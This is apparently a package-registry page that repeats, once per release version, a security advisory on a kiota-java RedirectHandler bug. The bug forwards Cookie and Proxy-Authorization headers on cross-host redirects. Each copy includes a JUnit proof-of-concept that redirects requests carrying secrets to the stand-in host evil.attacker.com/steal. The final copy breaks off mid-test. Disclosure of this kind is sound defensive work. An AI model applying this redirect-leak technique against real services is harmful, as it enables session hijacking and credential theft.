
References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 14, 2024

1.11.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 13, 2024

1.11.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 09, 2024

1.10.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 01, 2024

1.10.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 31, 2024

1.9.12 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 31, 2024

1.9.11 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
